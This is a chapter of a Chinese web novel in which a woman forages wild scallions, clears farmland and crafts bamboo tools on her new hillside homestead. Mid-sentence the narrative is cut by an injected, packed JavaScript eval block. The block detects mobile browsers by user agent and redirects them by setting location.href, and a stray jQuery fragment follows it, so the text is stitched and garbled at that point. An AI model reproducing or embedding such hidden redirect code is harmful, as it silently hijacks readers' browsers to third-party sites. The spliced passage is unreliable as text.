野葱最好吃的季节,非春天莫属。
这时野葱刚发芽,一场春雨过后,深绿色的叶子便蹭蹭蹭地往上长,辛辣味不重不说,口感也鲜嫩。
掐上一把葱叶,再切几片腊肉,大火猛炒,那香气,别提多霸道。趁热夹上一筷子,再拨两勺干饭……那滋味,黄迎春光是想想,就口齿生津。
虽然她养不起猪,也没从镇上买来腊肉,但是猪油渣毕竟也是油水,采了野葱之后赶回家,把锅烧热,用猛火将热气一激,葱香混着猪油味,难道会比野葱炒腊肉逊色吗?
还没吃朝食的黄迎春越想越激动,忍不住加快了她的脚步。
野葱是很好找的,它们随处可见。
不管是在山坡里、草地上、田间地头还是路边,只要认真搜寻,都能发现它们的踪迹。
如果是自家菜园里种的葱,为了留根,往往都是掐一把便罢,剩下的还要留着慢慢长。
但是,野外生长的葱就不用这么小心翼翼。
本就是不值钱的玩意儿,长得满地都是,全拔了也是不心疼的。
黄迎春兴冲冲地沿着早上取水的路走。
她买的这座山因为十年前的那场地动,人人闻之色变。
以往还有村人来这里打草砍柴,但自从那些人的尸骨长埋在附近后,就再也没有人有胆子踏进这里了。
日积月累,路上都长满了杂草野树,一眼望去,到处都是一样的景色,草还是路,早已无人分得清。
黄迎春现在脚下踩的这条路线较为明朗的小路,还是施工队在这里盖房的时候踩出来的。
虽然宋大在最近的村里给施工队找了安置的地方,但干体力活的人流汗多,容易口渴,所以总有人见天的往河边跑。
渐渐地,便踩出了一条从黄迎春的家门口到河边的小道。
野葱喜欢长在河滩边上的杂草丛里,越是靠近水边的地方,野葱长得越粗壮。
黄迎春便沿着小路一直走,走到早上取水的地方,却犯了难。
施工队踩出的路,也就到此为止了。黄迎春茫然四顾,前后左右不是草就是树,仿佛被困在了迷宫里,唯一的出处就是沿着来路返回。
这怎么可以?!
心心念念着香喷喷的野葱炒猪油渣的黄迎春不愿意放弃,她寻了一棵最近的树,连踢带踹,又使上鹤嘴锄,终于砍下了一段一人多高的树枝,又削去枝叶,树枝就成了一根光秃秃的木棍。
不粗不重,拿着不费力。
不细不长,不容易折断。
就这样,黄迎春拥有了一根探路棍。
她每走一步,就用木棍先在前方戳一戳。看到比较高的草叶,就站在原地不动,拿起木棍在四周不停地敲打,一点点地打草惊蛇,终于,黄迎春成功为自己开拓出一条前路。
这座山十年没人光顾,疯长的不止草木,还有遍地的野菜。
也不是所有的地方都是半人高甚至一人高的茂密草丛,也有那崎岖些的山坡,只稀稀疏疏地长着几棵杂树,黄迎春找到这样一处地方,终于松了一口气。
总算能歇一会儿了。
她把鹤嘴锄丢到草地上。
已经买不起耕牛,万万不能缺锄头,否则这个冬天她就只能等着喝西北风。
临安乡所在的地界儿被众人笑称为鱼米之乡,鱼前米后,意思是这里的鱼儿比田里的稻米还要多。
水多,鱼才多,水田遍布的地方,自然种的都是水稻。春播夏长秋收,割稻也少不了镰刀。
对于农具,黄迎春只有三样预算。
锄头和镰刀都是必不可少的物件,最后一样,黄迎春在柴刀、斧头和锯子之间犹豫不决。
开门七件事,柴米油盐酱醋茶,柴排第一位,由此可见柴火对于生计的重要。
黄迎春需要一件趁手的砍柴利器,其实柴刀是最好的,人家的名字都带柴字,论专业对口,没有比得上的。
只是,虽然买了菜刀,但是家里连块砧板也没有,菜都不知道要在哪儿切。
黄迎春想在山上就地取材,砍块树墩搬回家中了事,这样一比,柴刀的威力自然要比斧头小。
但是斧头的力量虽大,也要她有力气去砍,对于她这种力气比较小的女人来说,锯子是不是会更省力气呢?
黄迎春拿不定主意。
就在这时,她看到了一把鹤嘴锄。
黄迎春对鹤嘴锄并不陌生,这是她在花草司里劳作的老家伙。
鹤嘴锄的用处大极了,平口可以拿来挖土锄草,尖嘴那侧,只要一落地,再硬的土都抵抗不了,只能乖乖四分五裂。
在慈善堂的一个多月不是白待的,黄迎春打了几回下手,渐渐也知道了一些草药的生长习性,所以这回在镇上采买,也买了一些药种,预备带回家播种。
鹤嘴锄这种小巧的农具,拿来干侍弄药材这种精细活儿是最好的。
而且,她现在是山户,要靠山吃山,山上多的是野菜,为了这个,黄迎春连粮食的预算都省了好多,挖野菜怎么能没有一把趁手的工具呢?鹤嘴锄既小巧方便携带,又不像锄头那样笨重,正适合她上山挖菜啊!
黄迎春思前想后,最后选了鹤嘴锄。
但是,此刻,她却有点后悔了。
早知道应该把镰刀一起带出来的。
鹤嘴锄只在看得见的地方有用,论收割野草,还是镰刀用起来利落,弯腰一搂一割,顷刻间她就能割倒一大片,哪里还用得着深一脚浅一脚地磨蹭到现在!
她还赶着开荒呢!
抱怨归抱怨,黄迎春的眼睛却始终没有停下扫描。
野葱的样子很好认,深绿色,叶子细长,每片叶子都像一根中空的管。
多年不挖野菜了,黄迎春虽然还认得野葱的模样,但耐不住春回大地,到处都是一片绿色,满地都是绿色的封口吸管,其中还不乏一些仿制品。
好在,虽然有的植物和野葱的样子有些相似,但只有野葱拔起来的时候会有一股浓郁的葱味。
黄迎春蹲下身,随手掐断一片叶子,把手放到鼻子下一闻,那股浓郁的独属于葱蒜的辛辣味立刻弥漫在鼻间。
找到了!
黄迎春立即拿起鹤嘴锄,一锄铲地,一手拔葱,拔了一大把,把泥土都抖落干净,又拿到河边把白色的葱头细细地洗干净,然后扯了细长的草叶,绕了几圈将野葱捆实了,这才起身原路返回。
在新家的第一顿饭,黄迎春吃的是野葱炒猪油渣焖饭。
在找野葱的时候,黄迎春发现了一片竹林,那里的竹子不用过河就可以直接取用。
黄迎春心动不已,原想顺路砍一根竹子带回来,削一节竹子倒点米进去做竹筒饭,偏偏没带镰刀。
最后,黄迎春只能一路后悔着来,又一路可惜着走。
不过,吃着油汪汪的米饭,那点后悔和可惜转瞬间就被唇齿留香的黄迎春抛到九霄云外了。
真香啊!
不愧是开过锅的铁锅煮出来的饭。
吃过了买来的米,黄迎春开始琢磨自己种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771644|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的粮食。
每个地方播种的时间都不一样,临安的早稻,播期再晚也不会拖过清明。她是过完春分之后离开永安城的,距离清明也不剩多长时间了。
黄迎春心里很着急。
昨天她从镇上回家时,沿途也经过一些水田,勤快的农人已经起好垄沟,在晒秧田。
而她的田,连个影儿都没有,还等着她去开荒。
种水稻的田地很好选址,水稻喜欢土壤肥沃、排水通畅、阳光充足的土地,黄迎春沿着河走,随随便便就能找出好几块适合育苗移栽的土地。
但是,开荒难啊!
地上有野草、杂树和荆棘,地下有树根、草筋和硬邦邦的石头。
一听到锄头和石头碰撞的声音,黄迎春就止不住的心疼。
她生怕她唯三的农具之一出了什么差错,铁多贵哪!
好在,刚买来的锄头还是耐用的,洗净之后除了表面多了一些划痕,并没有什么损伤。
而黄迎春耗费了整整三天的时间,终于把临河的一小块土地拾掇干净。
她砍了树,割了草,锄了土,捡了石头,总算开出了自己的第一块田产。
来不及喘口气,黄迎春又开始她轰轰烈烈的伐竹大业。
锄草不易,好不容易拔掉的草,若是没有及时从地里拿走,过一个晚上,第二天再去的时候,它就能重新在地里扎根生长。
这个道理,在先前那个农家里活了十二年,又在花草司忙了十五年的黄迎春十分清楚。
她每天都赶在天黑前把当天从地里清理出去的草木带回家,放到厨房外面的空地上阴干。
可是,她每天都要往返好几次。
原因只有一个——她没有运输工具,全靠手捧肩扛!
没有背篓和簸箕的日子黄迎春一天也过不下去,因此,趁着地开了一块,天上又下起小雨,黄迎春急忙筑起垄沟,又冒着雨水去竹林里砍了好几棵碗口粗的大竹子,用镰刀劈成段,再分批运回家。
抹节,杀青,破竹,开条,取青蔑,纵横交错……
内底,外底,合筐,修边,锁边,燎戗……
黄迎春给自己做了一个解放双手的竹筐,然后,又迫不及待地劈了好几个竹筒,洗好后放在灶台上阴干。
天可怜见,这几日她在田里都快渴死了。
寻常人家农忙时,白天都在地里忙活不回家,饭食都是家人送到田里来。
黄迎春的家里只有她一个,要想吃上饭,只能每天自己跑回家去做。
虽然已经春天了,但天还是早早就暗了,黄迎春初来乍到,不敢晚上还在外面干活,生怕遇上野兽袭击,所以十分珍惜白天的时间,拼命在地里劳作。
汗流得越多,嘴里越干,偏偏黄迎春为了省钱,连个葫芦都没买,自然也没有器物可以装水带到地里来喝。
她也不敢喝河里的生水,怕寄生虫在肚子坐病。
想着反正要回家做饭,自然有可以喝水的时候,所以每天黄迎春都处在旱的旱死,涝的涝死的状态里。
今天终于有空给自己搞个水壶了,黄迎春热泪盈眶,险些把手中的毛竹变成湘妃竹。
劈段竹节,量个尺寸,做个记号,再用随身携带的小刀一点点地磨,不知过了多久,月上当空时,黄迎春坐在冒着火光的灶台前,一手拿竹筒,一手拿竹节,两相一对,这两样本是同根生的东西立即合二为一,严丝合缝,包管一点灰尘都落不进去。
安家第五天,黄迎春终于拥有了一个水壶。